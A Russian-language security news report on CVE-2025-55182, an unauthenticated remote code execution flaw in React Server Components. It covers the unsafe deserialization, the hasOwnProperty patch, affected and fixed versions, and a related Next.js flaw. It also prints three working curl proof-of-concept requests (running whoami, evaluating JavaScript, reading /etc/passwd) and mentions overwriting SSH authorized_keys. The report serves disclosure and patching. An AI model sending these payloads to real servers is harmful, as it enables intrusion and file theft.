Критическая уязвимость позволяет выполнить произвольный код на серверных компонентах React 19.0.0/19.1.0/19.1.1/19.2.0

В серверных компонентах веб-фреймворка React (RSC, React Server Components) обнаружена и устранена критическая уязвимость CVE-2025-55182, позволявшая через отправку запроса к серверному обработчику выполнить произвольный код на сервере. Уязвимость проявляется в экспериментальных компонентах react-server-dom-webpack, react-server-dom-parcel и react-server-dom-turbopack, применяемых для выполнения функций и формирования элементов интерфейса на сервере, а не на стороне клиента.

Уязвимость CVE-2025-55182 присутствует в версиях React 19.0.0, 19.1.0, 19.1.1 и 19.2.0. Проблема устранена в обновлениях React 19.0.1, 19.1.2 и 19.2.1. Уязвимые компоненты также применяются в пакетах react-router (20 млн загрузок в неделю), waku, @parcel/rsc (Parcel RSC plugin), @vitejs/plugin-rsc (Vite RSC plugin) и rwsdk (RedwoodSDK). В React Router проблема проявляется только при использовании экспериментального режима RSC.

По информации OpenNET, Проблема вызвана небезопасной десериализацией данных, полученных в HTTP-запросах к серверным обработчикам. Исправление свелось к замене в функции requireModule выражения "return moduleExports[metadata[NAME]];", не исключавшего подстановку прототипа, на вариант с проверкой через hasOwnProperty:

  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
       return moduleExports[metadata[NAME]];
   }
   return (undefined: any);

При наличии возможности подставить прототип, запуск команд в системе или выполнение JavaScript-кода в контексте текущего процесса (с обходом sandbox-изоляции) можно организовать через подстановку методов "vm.runInThisContext", "vm.runInNewContext", "child_process.execFileSync" и "child_process.execSync". Также возможно использование методов "fs.readFileSync" и "fs.writeFileSync" для чтения и записи произвольных файлов на сервере, насколько позволяют текущие права доступа (например, можно перезаписать ~/.ssh/authorized_keys и ~/.bashrc). Для атаки не требуется прохождение аутентификации.

На Github доступен прототип эксплоита для CVE-2025-55182.

   # Запуск команды whoami
   curl -X POST http://localhost:3002/formaction \
     -F '$ACTION_REF_0=' \
     -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

   # Выполнение JavaScript-кода 1+1
   curl -X POST http://localhost:3002/formaction \
     -F '$ACTION_REF_0=' \
     -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

   # Чтение файла /etc/passwd
   curl -X POST http://localhost:3002/formaction \
     -F '$ACTION_REF_0=' \
     -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

Подверженность систем уязвимости CVE-2025-55182 зависит от применения на них уязвимых серверных компонентов react‑server‑dom‑webpack, react‑server‑dom‑parcel и react‑server‑dom‑turbopack (среди прочего, web‑приложение может не использовать их, но установить на сервере). Приложения не использующие react‑server уязвимость не затрагивает. Степень охвата уязвимостью рабочих систем, в которых используется React, пока не ясна. С одной стороны, React является одним из самых популярных web‑фреймворков (используется примерно на 6% веб‑сайтов), а уязвимые компоненты развиваются в основном репозитории и входят в состав релизов. Уязвимые компоненты также поддерживаются в основанных на React фреймворках, таких как Next.js и react‑router. По данным компании Wiz Research уязвимые экземпляры Next.js или React выявлены в 39% проанализированных облачных окружений.

С другой стороны, генерация контента на сервере через React Server Components не часто используемая функция (большинство React‑сайтов отрисовывают интерфейс только на стороне клиента), а уязвимые компоненты помечены как экспериментальные и не гарантирующие корректную работу. Данные компоненты имеют относительно небольшое число прямых загрузок из репозитория NPM: react‑server‑dom‑webpack — 670 тысяч в неделю, react‑server‑dom‑parcel — 7 тысяч и react‑server‑dom‑turbopack — 32 тысячи, для сравнения NPM‑пакет React имеет 45 млн загрузок в неделю.

Аналогичная уязвимость (CVE-2025-66478) была выявлена в реализации протокола RSC (React Server Components) во фреймворке Next.js (16 млн загрузок в неделю). Проблема затрагивает приложения, использующие App Router и ветки Next.js 15.x и 16.x. Утверждается, что уязвимость проявляется в конфигурации Next.js по умолчанию (стандартное приложение, создаваемое утилитой create‑next‑app, подвержено атаке). Пользователям рекомендовано как можно скорее установить обновление Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7.

Информация на этой странице взята из источника: https://habr.com/ru/news/973252/